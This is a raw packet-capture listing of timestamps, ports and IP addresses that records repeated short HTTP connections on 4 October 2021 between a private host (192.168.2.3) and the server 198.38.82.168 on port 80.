Oct 4, 2021 16:04:25.486232996 CEST	50238	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.637856960 CEST	80	50239	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.677328110 CEST	80	50239	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.783416986 CEST	50240	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.902173996 CEST	80	50240	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.902350903 CEST	50240	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.902704954 CEST	50240	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.902826071 CEST	50240	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:25.983273029 CEST	80	50239	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.983570099 CEST	80	50239	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:25.983741045 CEST	50239	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.020359039 CEST	80	50240	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.062738895 CEST	80	50240	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.215435028 CEST	50241	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.374701977 CEST	80	50241	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.374902010 CEST	50241	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.375108957 CEST	50241	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.375185013 CEST	50241	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.539026022 CEST	80	50241	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.577258110 CEST	80	50240	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.577286005 CEST	80	50240	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.577296019 CEST	80	50241	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.583662987 CEST	50240	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.861675024 CEST	50242	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.948909998 CEST	80	50241	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.948940992 CEST	80	50241	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.949023008 CEST	50241	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.979904890 CEST	80	50242	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:26.980107069 CEST	50242	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.980340004 CEST	50242	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:26.980432987 CEST	50242	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.098505020 CEST	80	50242	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.140974998 CEST	80	50242	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.188494921 CEST	50243	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.348776102 CEST	80	50243	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.348942995 CEST	50243	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.349145889 CEST	50243	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.349282026 CEST	50243	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.462833881 CEST	80	50242	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.462855101 CEST	80	50242	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.462990046 CEST	50242	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.511239052 CEST	80	50243	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.549653053 CEST	80	50243	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.646411896 CEST	50244	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.806833029 CEST	80	50244	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.806972027 CEST	50244	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.807136059 CEST	50244	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.807194948 CEST	50244	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:27.963538885 CEST	80	50243	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.963567972 CEST	80	50243	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.963586092 CEST	80	50244	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:27.963685989 CEST	50243	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.005868912 CEST	80	50244	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.212732077 CEST	50245	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.332082987 CEST	80	50244	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.332113981 CEST	80	50244	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.332134962 CEST	80	50245	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.332210064 CEST	50244	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.332278013 CEST	50245	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.332606077 CEST	50245	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.332612038 CEST	50245	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.450891972 CEST	80	50245	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.490902901 CEST	80	50245	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.565140963 CEST	50246	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.684915066 CEST	80	50246	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.685317993 CEST	50246	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.685657024 CEST	50246	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.685813904 CEST	50246	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.805037975 CEST	80	50246	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.822288990 CEST	80	50245	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.822313070 CEST	80	50245	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:28.822594881 CEST	50245	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:28.846911907 CEST	80	50246	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.044728041 CEST	50247	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.129386902 CEST	80	50246	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.129503012 CEST	80	50246	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.133348942 CEST	50246	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.201354027 CEST	80	50247	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.202996969 CEST	50247	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.203249931 CEST	50247	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.203334093 CEST	50247	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.359342098 CEST	80	50247	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.376400948 CEST	50248	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.405972004 CEST	80	50247	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.495028973 CEST	80	50248	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.495440960 CEST	50248	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.495686054 CEST	50248	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.495796919 CEST	50248	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.614986897 CEST	80	50248	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.654105902 CEST	80	50248	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.693681955 CEST	80	50247	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.693711042 CEST	80	50247	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.693830967 CEST	50247	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.917623997 CEST	50249	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:29.979070902 CEST	80	50248	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.979101896 CEST	80	50248	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:29.979196072 CEST	50248	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.035373926 CEST	80	50249	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.035578012 CEST	50249	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.035877943 CEST	50249	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.036072016 CEST	50249	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.153228998 CEST	80	50249	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.190784931 CEST	50250	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.195058107 CEST	80	50249	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.352565050 CEST	80	50250	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.352921009 CEST	50250	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.353176117 CEST	50250	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.353255033 CEST	50250	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.504647017 CEST	80	50249	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.504729986 CEST	80	50249	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.504829884 CEST	50249	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.512535095 CEST	80	50250	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.552227020 CEST	80	50250	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.759372950 CEST	50251	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.839287043 CEST	80	50250	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.839318991 CEST	80	50250	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.839474916 CEST	50250	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.877716064 CEST	80	50251	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:30.877891064 CEST	50251	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.878129005 CEST	50251	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.878233910 CEST	50251	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:30.997086048 CEST	80	50251	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.037703037 CEST	80	50251	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.161258936 CEST	50252	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.320317030 CEST	80	50251	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.320354939 CEST	80	50251	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.320482969 CEST	50251	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.320578098 CEST	80	50252	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.320691109 CEST	50252	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.320894003 CEST	50252	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.320961952 CEST	50252	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.481394053 CEST	80	50252	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.522012949 CEST	80	50252	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.534162998 CEST	50253	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.694833994 CEST	80	50253	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.697242975 CEST	50253	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.697484016 CEST	50253	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.697586060 CEST	50253	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.814824104 CEST	80	50252	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.814845085 CEST	80	50252	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.814937115 CEST	50252	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:31.857367039 CEST	80	50253	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:31.896337986 CEST	80	50253	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.024950981 CEST	50254	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.143085003 CEST	80	50254	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.143287897 CEST	50254	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.143588066 CEST	50254	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.143717051 CEST	50254	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.261317968 CEST	80	50254	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.270172119 CEST	80	50253	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.270203114 CEST	80	50253	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.270375013 CEST	50253	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.305421114 CEST	80	50254	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.567461967 CEST	50255	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.604641914 CEST	80	50254	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.604666948 CEST	80	50254	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.604835987 CEST	50254	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.686285973 CEST	80	50255	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.686526060 CEST	50255	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.686767101 CEST	50255	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.686834097 CEST	50255	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.806524992 CEST	80	50255	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.822799921 CEST	50256	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.846220970 CEST	80	50255	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.982163906 CEST	80	50256	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:32.982366085 CEST	50256	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.982557058 CEST	50256	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:32.982574940 CEST	50256	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.135620117 CEST	80	50255	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.135646105 CEST	80	50255	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.135782957 CEST	50255	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.143333912 CEST	80	50256	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.182961941 CEST	80	50256	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.378254890 CEST	50257	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.497275114 CEST	80	50257	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.497472048 CEST	50257	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.497648954 CEST	50257	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.497693062 CEST	50257	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.615494967 CEST	80	50257	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.655654907 CEST	80	50257	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.656933069 CEST	80	50256	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.657120943 CEST	80	50256	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.657197952 CEST	50256	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.874411106 CEST	50258	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.971733093 CEST	80	50257	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.971786022 CEST	80	50257	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.971888065 CEST	50257	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.992126942 CEST	80	50258	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:33.994612932 CEST	50258	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.994664907 CEST	50258	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:33.994668961 CEST	50258	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.115267038 CEST	80	50258	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.151633978 CEST	80	50258	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.307470083 CEST	50259	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.463999033 CEST	80	50259	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.464229107 CEST	50259	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.464488029 CEST	50259	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.464589119 CEST	50259	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.494343042 CEST	80	50258	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.494364977 CEST	80	50258	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.494507074 CEST	50258	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.620702028 CEST	80	50259	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.660676956 CEST	80	50259	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.866693974 CEST	50260	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:34.949887037 CEST	80	50259	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.949938059 CEST	80	50259	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:34.950007915 CEST	50259	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.023338079 CEST	80	50260	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.023736000 CEST	50260	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.023936987 CEST	50260	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.024018049 CEST	50260	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.180100918 CEST	80	50260	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.183562040 CEST	50261	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.219451904 CEST	80	50260	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.301558971 CEST	80	50261	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.301717043 CEST	50261	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.301953077 CEST	50261	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.302035093 CEST	50261	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.420459986 CEST	80	50261	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.459700108 CEST	80	50261	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.510982990 CEST	80	50260	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.511080980 CEST	80	50260	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.511179924 CEST	50260	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.788101912 CEST	80	50261	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.788214922 CEST	80	50261	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.788331985 CEST	50261	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.823158026 CEST	50262	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.947773933 CEST	80	50262	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:35.947958946 CEST	50262	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.948182106 CEST	50262	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:35.948259115 CEST	50262	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.058264971 CEST	50263	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.063195944 CEST	80	50262	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.106349945 CEST	80	50262	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.215321064 CEST	80	50263	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.215962887 CEST	50263	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.215987921 CEST	50263	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.216054916 CEST	50263	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.378098965 CEST	80	50263	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.409773111 CEST	80	50262	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.409801006 CEST	80	50262	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.410044909 CEST	50262	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.417177916 CEST	80	50263	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.659410000 CEST	50264	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.815871954 CEST	80	50264	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.816131115 CEST	50264	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.816482067 CEST	50264	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.816623926 CEST	50264	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.827686071 CEST	80	50263	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.827712059 CEST	80	50263	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:36.828890085 CEST	50263	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:36.972623110 CEST	80	50264	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.012219906 CEST	80	50264	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.021322966 CEST	50265	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.139005899 CEST	80	50265	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.139206886 CEST	50265	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.139573097 CEST	50265	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.139719963 CEST	50265	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.257769108 CEST	80	50265	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.297177076 CEST	80	50264	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.297215939 CEST	80	50264	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.297410011 CEST	50264	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.304394960 CEST	80	50265	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.549093008 CEST	50266	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.599248886 CEST	80	50265	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.599348068 CEST	80	50265	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.599417925 CEST	50265	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.666606903 CEST	80	50266	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.666784048 CEST	50266	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.667068005 CEST	50266	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.667162895 CEST	50266	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.784912109 CEST	80	50266	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.799768925 CEST	50267	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.824692965 CEST	80	50266	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.958874941 CEST	80	50267	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:37.959029913 CEST	50267	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.959352016 CEST	50267	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:37.959367990 CEST	50267	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.113533020 CEST	80	50266	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.113929033 CEST	80	50266	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.113998890 CEST	50266	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.118575096 CEST	80	50267	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.159848928 CEST	80	50267	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.385042906 CEST	50268	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.439357042 CEST	80	50267	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.439379930 CEST	80	50267	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.439471960 CEST	50267	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.541541100 CEST	80	50268	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.541685104 CEST	50268	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.541868925 CEST	50268	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.541902065 CEST	50268	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.603401899 CEST	50269	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.698159933 CEST	80	50268	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.720963955 CEST	80	50269	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.721071959 CEST	50269	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.721638918 CEST	50269	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.721659899 CEST	50269	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:38.738152981 CEST	80	50268	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.839322090 CEST	80	50269	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:38.879693985 CEST	80	50269	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.041448116 CEST	80	50268	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.041589975 CEST	80	50268	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.041820049 CEST	50268	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.181844950 CEST	80	50269	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.182044983 CEST	80	50269	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.182145119 CEST	50269	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.241817951 CEST	50270	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.348181963 CEST	50271	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.356735945 CEST	80	50270	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.357899904 CEST	50270	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.358078957 CEST	50270	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.358136892 CEST	50270	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.473124027 CEST	80	50270	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.504405022 CEST	80	50271	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.504693031 CEST	50271	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.505089998 CEST	50271	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.505171061 CEST	50271	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.513734102 CEST	80	50270	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.661335945 CEST	80	50271	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.701270103 CEST	80	50271	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.802352905 CEST	80	50270	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.802772999 CEST	80	50270	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.802923918 CEST	50270	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.987710953 CEST	80	50271	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.987746000 CEST	80	50271	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:39.987845898 CEST	50271	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:39.994580030 CEST	50272	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.112274885 CEST	80	50272	198.38.82.168	192.168.2.3
Oct 4, 2021 16:04:40.112518072 CEST	50272	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.112781048 CEST	50272	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.112858057 CEST	50272	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.235148907 CEST	50273	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:04:40.243263960 CEST	80	50272	198.38.82.168	192.168.2.3
